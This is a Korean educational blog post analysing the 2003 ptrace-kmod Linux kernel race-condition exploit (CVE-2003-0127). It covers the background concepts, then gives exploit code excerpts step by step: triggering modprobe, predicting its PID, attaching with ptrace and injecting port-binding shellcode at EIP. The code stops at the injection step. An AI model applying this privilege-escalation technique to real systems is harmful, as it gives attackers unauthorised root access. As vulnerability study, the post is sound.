[KT Cloud TechUp] CVE-2003-0127 ptrace-kmod 커널 익스플로잇 분석: Race Condition을 이용한 권한 상승 공격
October 14, 2025
오래된 취약점이긴 하지만 다음과 같은 개념을 학습할 수 있다.
- Race Condition 공격
- 커널 권한 상승 기법
- ptrace 시스템 콜 악용
- 프로세스 메모리 조작
취약점 요약
공격자 -> AF_SECURITY 소켓 생성 -> 커널이 /sbin/modprobe 실행 (root 권한) ↓ ptrace로 modprobe 프로세스에 attach -> 쉘코드 주입 -> root 권한 획득
핵심 원리
- 커널 모듈 로딩 메커니즘 악용: AF_SECURITY 소켓 생성 시 커널이 자동으로 root 권한의 modprobe 실행
- PID 예측: Linux의 순차적 PID 할당 방식을 이용한 다음 프로세스 PID 예측
- Race Condition: 프로세스 생성과 ptrace attach 사이의 타이밍 공격
- 메모리 조작: ptrace를 통한 root 권한 프로세스의 메모리 조작
배경 지식
**1. ptrace 시스템 콜 **- ptrace는 process trace의 줄임말로, 한 프로세스가 다른 프로세스를 디버깅하고 제어할 수 있게 해 주는 시스템 콜
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
- 주요 ptrace 옵션
- PTRACE_ATTACH: 대상 프로세스에 디버거로 연결
- PTRACE_DETACH: 디버깅 연결 해제
- PTRACE_GETREGS: 레지스터 값 읽기
- PTRACE_SETREGS: 레지스터 값 설정
- PTRACE_PEEKTEXT: 메모리 읽기
- PTRACE_POKETEXT: 메모리 쓰기
- PTRACE_SYSCALL: 시스템 콜 진입/종료 시점에서 중단
- ptrace의 일반적인 사용 예시
// gdb와 같은 디버거의 기본 동작 pid_t child_pid = fork(); if (child_pid == 0) { // 자식 프로세스: 디버깅 대상 ptrace(PTRACE_TRACEME, 0, NULL, NULL); execl("/bin/ls", "ls", NULL); } else { // 부모 프로세스: 디버거 int status; wait(&status); // 자식 프로세스가 멈출 때까지 대기 ptrace(PTRACE_CONT, child_pid, NULL, NULL); // 실행 재개 }
**2. fork() 시스템 콜과 프로세스 생성
**```
#include
pid_t fork(void);
fork()의 특징:
- 한 번 호출, 두 번 리턴 (부모와 자식 프로세스에서 각각)
- 부모 프로세스: 자식의 PID값 리턴
- 자식 프로세스: 0 리턴 (실패시 -1)
**3. Linux PID 할당 메커니즘 (2003년 당시의 PID 할당 방식)
**```
// 단순화된 PID 할당 알고리즘 (당시)
static int last_pid = 0;
int get_next_pid(void) {
do {
last_pid++;
if (last_pid >= PID_MAX) // 보통 32768
last_pid = 1;
} while (pid_in_use(last_pid));
return last_pid;
}
순차적 할당 방식을 사용 => 다음 프로세스의 pid를 예측할 수 있었음
4. UID/GID와 권한 시스템
- 사용자 ID의 종류
- Real UID (ruid): 실제 사용자 ID
- Effective UID (euid): 현재 유효한 권한 ID
- Saved UID (suid): 저장된 사용자 ID
- 권한 상승의 핵심: 시스템에서 권한 검사는 주로 EUID를 기준으로 함
취약점 분석
근본 원인 분석
- 커널 모듈 자동 로딩 메커니즘: 리눅스 커널은 필요한 기능이 요청될 때 자동으로 해당 모듈을 로드함
- modprobe의 특권 실행: /sbin/modprobe는 커널 모듈을 로드하기 위해 root 권한 (euid=0)으로 실행됨
- ptrace 권한 검사 미흡
Race Condition
시간축 → 부모 프로세스: socket() ──────────────────────→ 종료 │ └→ 커널: modprobe 실행 ──→ modprobe 초기화 ──→ 시스템콜 │ 자식 프로세스: ────────── ptrace_attach() ──┘
Time 0: socket(AF_SECURITY, …) 호출 Time 1: 커널이 modprobe 프로세스 생성 (PID 할당) Time 2: modprobe 프로세스 초기화 시작 Time 3: [RACE WINDOW] - ptrace attach 가능! Time 4: modprobe가 모듈 로딩 완료 Time 5: modprobe 종료
공격 시나리오 분석
Phase 1: 프로세스 분기 및 초기 설정
// 부모 프로세스 PID 저장
parent = getpid();
// 프로세스 분기
switch (pid = fork()) {
결과
프로세스 생성:
├── 부모 프로세스 (PID: 1000) - 취약점 트리거 담당
└── 자식 프로세스 (PID: 1001) - 공격 로직 담당
Phase 2: 자식 프로세스 - PID 예측 및 대기 설정
case 0: // 자식 프로세스
child = getpid(); // 현재 PID (1001)
k_child = child + 1; // 예측 PID (1002)
fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n",
parent, child);
fprintf(stderr, "-> Attaching to %d...", k_child);
// 시그널 핸들러 설정
signal(SIGCHLD, sigchld);
signal(SIGALRM, sigalrm);
alarm(10); // 10초 타임아웃
Phase 3: 부모 프로세스 - 취약점 트리거
default: // 부모 프로세스
signal(SIGALRM, sigalrm);
alarm(10);
// 핵심! AF_SECURITY 소켓 생성으로 modprobe 실행 유도
socket(AF_SECURITY, SOCK_STREAM, 1);
break;
시스템 반응: # 커널이 자동으로 실행하는 명령 /sbin/modprobe -s -k net-pf-14
프로세스 상태:
PID USER COMMAND
1000 user ./exploit (부모)
1001 user ./exploit (자식)
1002 root /sbin/modprobe -s -k net-pf-14 ← 공격 대상!
Phase 4: ptrace Attach 시도
// 무한 루프로 attach 시도
while ((error = ptrace(PTRACE_ATTACH, k_child, 0, 0) == -1) &&
(errno == ESRCH)) {
fprintf(stderr, ".");
}
if (error == -1) {
fprintf(stderr, "-> Unable to attach to %d.\n", k_child);
exit(0);
}
fprintf(stderr, "\n-> Got the thread!!\n");
- 상세한 동작:
- PTRACE_ATTACH로 PID 1002에 연결 시도
- ESRCH 에러: “No such process” - 아직 프로세스가 생성되지 않음
- 반복적으로 시도하다가 성공하면 “Got the thread!!” 출력
- 성공 시 효과:
- modprobe 프로세스가 SIGSTOP 시그널을 받고 정지
- 자식 프로세스가 SIGCHLD 시그널을 받음 (sigc 증가)
Phase 5: 시스템콜 추적 설정
// SIGCHLD 시그널 대기 (ptrace attach 성공 확인)
while(sigc < 1);
// 시스템콜 추적 모드 설정
if (ptrace(PTRACE_SYSCALL, k_child, 0, 0) == -1) {
fprintf(stderr, "-> Unable to setup syscall trace.\n");
exit(0);
}
fprintf(stderr, "-> Waiting for the next signal...\n");
// 다음 시그널까지 대기 (시스템콜 진입점)
while(sigc < 2);
- PTRACE_SYSCALL의 효과:
- 대상 프로세스가 시스템콜 진입/종료 시마다 정지
- 각 정지마다 SIGCHLD 시그널 발생
Phase 6: 레지스터 읽기 및 쉘코드 주입
// CPU 레지스터 값 읽기
if (ptrace(PTRACE_GETREGS, k_child, NULL, ®s) == -1) {
perror("-> Unable to read registers: ");
}
fprintf(stderr, "-> Injecting shellcode at 0x%08x\n", regs.eip);
// EIP 주소에 쉘코드 주입
for (i = 0; i <= SIZE; i += 4) {
if (ptrace(PTRACE_POKETEXT, k_child, regs.eip + i,
*(int*)(shellcode + i))) {
// 오류 처리 생략
}
}
원본 메모리: 변조된 메모리:
┌─────────────┐ ┌─────────────┐
│ 0x08048000 │ → │ 쉘코드 │ ← EIP
│ modprobe │ │ (24876번 │
│ 기존 코드 │ │ 포트 │
│ │ │ 바인딩) │
└─────────────┘ └─────────────┘